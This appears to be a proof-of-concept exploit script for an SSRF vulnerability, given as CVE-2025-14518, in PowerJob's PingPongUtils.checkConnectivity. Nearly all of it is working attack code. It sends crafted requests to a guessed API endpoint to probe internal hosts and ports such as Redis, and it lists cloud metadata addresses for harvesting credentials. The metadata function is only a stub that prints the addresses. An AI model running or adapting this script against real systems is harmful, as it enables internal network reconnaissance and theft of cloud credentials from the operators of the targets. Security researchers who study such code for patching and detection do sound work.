CVE-2025-14518 PowerJob PingPongUtils.checkConnectivity SSRF漏洞

# CVE-2025-14518 PowerJob SSRF PoC # Target: PowerJob <= 5.1.2 # Vulnerability: PingPongUtils.checkConnectivity SSRF import requests import argparse def exploit_ssrf(target_url, internal_ip, internal_port): """ Exploit SSRF vulnerability in PowerJob's checkConnectivity function. Args: target_url: Base URL of PowerJob application internal_ip: Internal IP to target (e.g., 127.0.0.1) internal_port: Internal port to check (e.g., 6379 for Redis) """ # Endpoint that calls checkConnectivity (typically in network check APIs) endpoint = f"{target_url}/api/checkConnectivity" # Malicious payload targeting internal service payload = { "targetIp": internal_ip, "targetPort": internal_port } print(f"[*] Targeting: {internal_ip}:{internal_port}") try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Response: {result}") if "success" in str(result).lower(): print(f"[!] Service detected at {internal_ip}:{internal_port}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def check_cloud_metadata(target_url): """ Attempt to access cloud provider metadata service. """ metadata_endpoints = [ "169.254.169.254/latest/meta-data/", "169.254.169.254/latest/user-data/" ] for endpoint in metadata_endpoints: print(f"[*] Checking metadata endpoint: {endpoint}") # Similar exploitation logic would be applied here if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-14518 PoC") parser.add_argument("-t", "--target", required=True, help="Target PowerJob URL") parser.add_argument("-i", "--ip", default="127.0.0.1", help="Internal IP") parser.add_argument("-p", "--port", type=int, default=6379, help="Internal Port") args = parser.parse_args() exploit_ssrf(args.target, args.ip, args.port)